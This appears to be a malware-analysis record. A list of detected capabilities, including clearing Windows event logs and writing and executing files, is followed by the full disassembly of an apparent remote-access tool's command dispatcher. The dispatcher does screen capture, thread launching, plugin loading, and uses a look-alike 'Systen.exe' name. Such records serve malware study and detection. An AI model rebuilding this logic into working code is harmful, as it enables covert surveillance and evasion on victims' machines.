Function at 0x40a420
Capabilities:
Access the windows event log
Clear windows event logs
Disable system features via registry on windows
Get common file path
Get comspec environment variable
Get file size
Query environment variable
Read file on windows
Set registry value
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43c060
mov eax, dword fs:[0]
push eax
sub esp, 0xd2c
mov eax, dword [0x44f040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0xd38], edi
mov esi, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0xd2c], esi
mov dword [ebp - 0xd20], ecx
movzx eax, byte [esi]
cmp eax, 0xad
ja case.0x40a47c.2
movzx eax, byte [eax + 0x40d1e4]
jmp dword [eax*4 + 0x40d0b4]
cmp byte [esi + 1], 0
jne case.0x40a47c.2
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov esi, eax
push esi
mov dword [ebp - 0xd20], esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 8
push esi
mov esi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov dword [ebp - 0xd2c], eax
call esi
push 0xa
push dword [ebp - 0xd20]
mov edi, eax
call esi
mov esi, eax
push esi
push edi
push dword [ebp - 0xd20]
mov dword [ebp - 0xd24], esi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push eax
push dword [ebp - 0xd2c]
mov dword [ebp - 0xd34], eax
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push dword [ebp - 0xd20]
push esi
push edi
push 0
push 0
push dword [ebp - 0xd2c]
call dword [sym.imp.GDI32.dll_BitBlt]
mov dword [ebp - 0x2e8], edi
shl edi, 5
mov dword [ebp - 0x2e4], esi
mov dword [ebp - 0x2ec], 0x28
mov dword [ebp - 0x2e0], 0x200001
lea eax, [edi + 0x1f]
mov dword [ebp - 0x2cc], 0
cdq
and edx, 0x1f
mov dword [ebp - 0x2d8], 0
mov dword [ebp - 0x2dc], 0
mov dword [ebp - 0x2c8], 0
mov dword [ebp - 0x2d4], 0
lea edi, [edx + eax]
mov dword [ebp - 0x2d0], 0
sar edi, 5
mov eax, 0x4d42
imul edi, esi
mov word [ebp - 0x20], ax
xor eax, eax
mov dword [ebp - 0x16], 0x36
mov dword [ebp - 0x1a], eax
shl edi, 2
push edi
lea esi, [edi + 0x36]
mov dword [ebp - 0x1e], esi
call fcn.00419e38
push edi
push 0
push eax
mov dword [ebp - 0xd30], eax
call fcn.0041cce0
add esp, 0x10
lea eax, [ebp - 0x2ec]
push 0
push eax
push dword [ebp - 0xd30]
push dword [ebp - 0xd24]
push 0
push dword [ebp - 0xd34]
push dword [ebp - 0xd2c]
call dword [sym.imp.GDI32.dll_GetDIBits]
push esi
call fcn.00419e38
mov esi, eax
mov dword [ebp - 0xd18], esi
lea eax, [edi + 0x36]
push eax
push 0
push esi
call fcn.0041cce0
movq xmm0, qword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
mov ax, word [ebp - 0x14]
movq qword [esi], xmm0
mov dword [esi + 8], ecx
mov word [esi + 0xc], ax
lea eax, [esi + 0x36]
movups xmm0, xmmword [ebp - 0x2ec]
push edi
push dword [ebp - 0xd30]
movups xmmword [esi + 0xe], xmm0
push eax
movups xmm0, xmmword [ebp - 0x2dc]
movups xmmword [esi + 0x1e], xmm0
movq xmm0, qword [ebp - 0x2cc]
movq qword [esi + 0x2e], xmm0
call fcn.0041c760
lea esi, [edi + 0x38]
push esi
call fcn.00419e38
push dword [ebp - 0x1e]
mov edi, eax
push dword [ebp - 0xd18]
lea edx, [edi + 2]
mov word [edi], 0xa9
push edx
call fcn.0041c760
mov ecx, dword [ebp - 0xd38]
add esp, 0x2c
mov ecx, dword [ecx + 4]
push esi
push edi
call fcn.00401e00
push dword [ebp - 0xd34]
mov esi, dword [sym.imp.GDI32.dll_DeleteObject]
call esi
push dword [ebp - 0xd2c]
call esi
push dword [ebp - 0xd20]
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push dword [ebp - 0xd18]
call fcn.00419e41
push dword [ebp - 0xd30]
call fcn.00419e41
push edi
call fcn.00419e41
add esp, 0xc
jmp case.0x40a47c.2
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
nop dword [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a720
test dl, dl
je 0x40a71c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a720
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a700
xor eax, eax
jmp 0x40a725
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov dword [ebp - 0x20], 0x402170
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
je 0x40a748
mov dword [ebp - 0x20], 0x4021d0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
push 0x412ef0
push 0
push 0
call fcn.00424b5a
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [edi + 0xfac]
mov dword [edi + eax*4 + 0xc], esi
inc dword [edi + 0xfac]
jmp case.0x40a47c.2
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a7f6
test dl, dl
je 0x40a7f2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a7f6
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a7d6
xor eax, eax
jmp 0x40a7fb
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40a81c
mov dword [ebp - 0x20], 0x402230
jmp 0x40a748
mov dword [ebp - 0x20], 0x402290
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a890
test dl, dl
je 0x40a88c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a890
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a870
xor eax, eax
jmp 0x40a895
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40a8b6
mov dword [ebp - 0x20], 0x4022f0
jmp 0x40a748
mov dword [ebp - 0x20], 0x402350
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a923
test dl, dl
je 0x40a91f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a923
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a903
xor eax, eax
jmp 0x40a928
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40a949
mov dword [ebp - 0x20], 0x4023b0
jmp 0x40a748
mov dword [ebp - 0x20], 0x402410
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a9b6
test dl, dl
je 0x40a9b2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a9b6
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a996
xor eax, eax
jmp 0x40a9bb
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40a9dc
mov dword [ebp - 0x20], 0x402470
jmp 0x40a748
mov dword [ebp - 0x20], 0x4024d0
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40aa50
test dl, dl
je 0x40aa4c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40aa50
add eax, 2
add ecx, 2
test dl, dl
jne 0x40aa30
xor eax, eax
jmp 0x40aa55
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40aa76
mov dword [ebp - 0x20], 0x402530
jmp 0x40a748
mov dword [ebp - 0x20], 0x402590
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40aae3
test dl, dl
je 0x40aadf
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40aae3
add eax, 2
add ecx, 2
test dl, dl
jne 0x40aac3
xor eax, eax
jmp 0x40aae8
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40ab09
mov dword [ebp - 0x20], 0x4025f0
jmp 0x40a748
mov dword [ebp - 0x20], 0x402650
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40ab76
test dl, dl
je 0x40ab72
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40ab76
add eax, 2
add ecx, 2
test dl, dl
jne 0x40ab56
xor eax, eax
jmp 0x40ab7b
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40ab9c
mov dword [ebp - 0x20], 0x4026b0
jmp 0x40a748
mov dword [ebp - 0x20], 0x402710
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40ac10
test dl, dl
je 0x40ac0c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40ac10
add eax, 2
add ecx, 2
test dl, dl
jne 0x40abf0
xor eax, eax
jmp 0x40ac15
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40ac36
mov dword [ebp - 0x20], 0x402770
jmp 0x40a748
mov dword [ebp - 0x20], 0x4027d0
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40aca3
test dl, dl
je 0x40ac9f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40aca3
add eax, 2
add ecx, 2
test dl, dl
jne 0x40ac83
xor eax, eax
jmp 0x40aca8
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40acc9
mov dword [ebp - 0x20], 0x402830
jmp 0x40a748
mov dword [ebp - 0x20], 0x402890
jmp 0x40a748
push 0
push 0
push 0
push 0
mov dword [ebp - 0x20], 0x409fa0
mov dword [ebp - 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
push 0x412ef0
push 0
push 0
call fcn.00424b5a
add esp, 0x18
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xd20]
push 4
dec eax
push 0x3000
push eax
push 0
mov dword [ebp - 0xd24], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
push dword [ebp - 0xd24]
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40ad90
test dl, dl
je 0x40ad8c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40ad90
add eax, 2
add ecx, 2
test dl, dl
jne 0x40ad70
xor eax, eax
jmp 0x40ad95
sbb eax, eax
or eax, 1
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
jne 0x40adf1
mov dword [ebp - 0x20], 0x4028f0
call eax
push 0
push 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
push 0x412ef0
push 0
push 0
call fcn.00424b5a
add esp, 0x18
mov esi, eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push dword [ebp - 0x14]
call eax
push dword [ebp - 0x14]
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
jmp 0x40a780
mov dword [ebp - 0x20], 0x402950
call eax
push 0
push 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
push 0x412ef0
push 0
push 0
call fcn.00424b5a
add esp, 0x18
mov esi, eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push dword [ebp - 0x14]
call eax
push dword [ebp - 0x14]
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
jmp 0x40a780
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40ae94
test dl, dl
je 0x40ae90
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40ae94
add eax, 2
add ecx, 2
test dl, dl
jne 0x40ae74
xor eax, eax
jmp 0x40ae99
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40aeba
mov dword [ebp - 0x20], 0x4029b0
jmp 0x40a748
mov dword [ebp - 0x20], 0x402a10
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40af27
test dl, dl
je 0x40af23
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40af27
add eax, 2
add ecx, 2
test dl, dl
jne 0x40af07
xor eax, eax
jmp 0x40af2c
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40af4d
mov dword [ebp - 0x20], 0x402a70
jmp 0x40a748
mov dword [ebp - 0x20], 0x402ad0
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40afc0
test dl, dl
je 0x40afbc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40afc0
add eax, 2
add ecx, 2
test dl, dl
jne 0x40afa0
xor eax, eax
jmp 0x40afc5
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40afe6
mov dword [ebp - 0x20], 0x402a70
jmp 0x40a748
mov dword [ebp - 0x20], 0x402b30
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b053
test dl, dl
je 0x40b04f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b053
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b033
xor eax, eax
jmp 0x40b058
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40b079
mov dword [ebp - 0x20], 0x402b90
jmp 0x40a748
mov dword [ebp - 0x20], 0x402bf0
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b0e6
test dl, dl
je 0x40b0e2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b0e6
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b0c6
xor eax, eax
jmp 0x40b0eb
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40b10c
mov dword [ebp - 0x20], 0x402c50
jmp 0x40a748
mov dword [ebp - 0x20], 0x402cb0
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b180
test dl, dl
je 0x40b17c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b180
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b160
xor eax, eax
jmp 0x40b185
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40b1a6
mov dword [ebp - 0x20], 0x402d10
jmp 0x40a748
mov dword [ebp - 0x20], 0x402d70
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b213
test dl, dl
je 0x40b20f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b213
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b1f3
xor eax, eax
jmp 0x40b218
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40b239
mov dword [ebp - 0x20], 0x402dd0
jmp 0x40a748
mov dword [ebp - 0x20], 0x402e30
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b2a6
test dl, dl
je 0x40b2a2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b2a6
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b286
xor eax, eax
jmp 0x40b2ab
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40b2cc
mov dword [ebp - 0x20], 0x402e90
jmp 0x40a748
mov dword [ebp - 0x20], 0x402ef0
jmp 0x40a748
push 4
lea eax, [ecx - 1]
push 0x3000
push eax
push 0
mov dword [ebp - 0xd24], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
push dword [ebp - 0xd24]
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [ebp - 0xd18]
add esp, 0xc
mov dword [ebp - 0x20], 0x403ee0
mov dword [ebp - 0x1c], eax
push 0
push 0
push 0
push 0
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b390
test dl, dl
je 0x40b38c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b390
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b370
xor eax, eax
jmp 0x40b395
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40b3b6
mov dword [ebp - 0x20], 0x402f50
jmp 0x40a748
mov dword [ebp - 0x20], 0x402fc0
jmp 0x40a748
push 4
lea eax, [ecx - 1]
push 0x3000
push eax
push 0
mov dword [ebp - 0xd24], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
push dword [ebp - 0xd24]
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [ebp - 0xd18]
add esp, 0xc
mov dword [ebp - 0x20], 0x403020
mov dword [ebp - 0x1c], eax
push 0
push 0
push 0
push 0
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 2]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je case.0x40a47c.2
mov eax, dword [ebp - 0xd20]
lea ecx, [esi + 2]
add eax, 0xfffffffe
push eax
push ecx
push edi
call fcn.0041c760
movzx eax, byte [esi + 1]
add esp, 0xc
mov ecx, edi
mov dword [ebp - 0xd24], eax
call fcn.004113a0
mov esi, eax
test esi, esi
je 0x40b48c
mov edx, str.PlugPrank
mov ecx, esi
call fcn.00411710
push 0x4533b8
push dword [ebp - 0xd24]
push 0x44aace
call eax
add esp, 0xc
mov ecx, esi
call fcn.004117a0
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp case.0x40a47c.2
push 0
push 0
lea eax, [esi + 1]
mov dword [ebp - 0x20], 0x403fe0
push 0
mov dword [ebp - 0x1c], eax
push 0
jmp 0x40a748
push 0
push 0
lea eax, [esi + 1]
mov dword [ebp - 0x20], 0x403e30
push 0
mov dword [ebp - 0x1c], eax
push 0
jmp 0x40a748
mov dword [ebp - 0x20], 0x408450
mov eax, dword [edi + 4]
push 0
push 0
push 0
mov eax, dword [eax + 0x48]
mov dword [ebp - 0x1c], eax
push 0
jmp 0x40a748
mov dword [ebp - 0x20], 0x408460
jmp 0x40b4da
mov dword [ebp - 0x20], 0x408490
jmp 0x40b4da
mov dword [ebp - 0x20], 0x4084c0
jmp 0x40b4da
mov dword [ebp - 0x20], 0x4084f0
jmp 0x40b4da
mov dword [ebp - 0x20], 0x408520
jmp 0x40b4da
mov dword [ebp - 0x20], 0x408550
jmp 0x40b4da
mov dword [ebp - 0x20], 0x408580
jmp 0x40b4da
mov dword [ebp - 0x20], 0x4085b0
jmp 0x40b4da
push 0
push 0
lea eax, [esi + 1]
mov dword [ebp - 0x20], 0x4087b0
push 0
mov dword [ebp - 0x1c], eax
push 0
jmp 0x40a748
mov ax, word [0x44a894]
xorps xmm0, xmm0
movups xmmword [ebp - 0x248], xmm0
mov dword [ebp - 0x238], 0xa
movq xmm0, qword [str.Systen.exe]
mov dword [ebp - 0x234], 0xf
movq qword [ebp - 0x248], xmm0
mov word [ebp - 0x240], ax
mov byte [ebp - 0x23e], 0
lea ecx, [ebp - 0x248]
mov dword [ebp - 4], 0
call fcn.0040a360
push 0
test al, al
je 0x40b5d6
push str.C:ProgramDatagotohttp.ini
call fcn.00423640
add esp, 8
cmp eax, 0xffffffff
je 0x40b656
call fcn.00411020
mov ecx, eax
test ecx, ecx
